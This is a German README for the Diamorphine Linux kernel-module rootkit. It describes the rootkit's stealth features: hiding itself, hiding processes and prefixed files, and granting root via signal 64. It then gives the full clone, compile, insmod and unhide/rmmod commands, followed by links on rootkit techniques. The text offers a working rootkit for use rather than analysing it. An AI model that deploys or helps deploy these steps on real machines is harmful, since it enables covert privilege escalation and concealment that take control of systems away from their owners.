
LKM-Rootkit für Linux-Kernel 2.6.x-7.x (x86/x86_64 und ARM/ARM64)
Diamorphine ist ein LKM-Rootkit für Linux-Kernel 2.6.x-7.x (x86/x86_64 und ARM/ARM64)
Beim Laden wird das Modul unsichtbar;
Versteckt/zeigt jeden Prozess durch Senden von Signal 31;
Das Senden von Signal 63 (an eine beliebige PID) macht das Modul (un)sichtbar;
Das Senden von Signal 64 (an eine beliebige PID) macht den angegebenen Benutzer zu root;
Dateien oder Verzeichnisse, die mit dem MAGIC_PREFIX beginnen, werden unsichtbar;
Überprüfen, ob der Kernel 2.6.x/3.x/4.x/5.x/6.x ist
uname -r
Das Repository klonen
git clone https://github.com/m0nad/Diamorphine
In den Ordner wechseln
cd Diamorphine
Kompilieren
make
Das Modul laden (als root)
insmod diamorphine.ko
Das Modul wird unsichtbar gestartet; zum Entfernen muss es sichtbar gemacht werden
kill -63 0
Dann das Modul entfernen (als root)
rmmod diamorphine
Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit
Linux Device Drivers http://lwn.net/Kernel/LDD3/
LKM HACKING https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html
Memsets Blog http://memset.wordpress.com/
Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html
WRITING A SIMPLE ROOTKIT FOR LINUX https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
Linux Cross Reference http://lxr.free-electrons.com/
zizzu0 LinuxKernelModules https://github.com/zizzu0/LinuxKernelModules/
Linux Rootkits: New Methods for Kernel 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/
FlipSwitch: a Novel Syscall Hooking Technique https://www.elastic.co/security-labs/flipswitch-linux-rootkit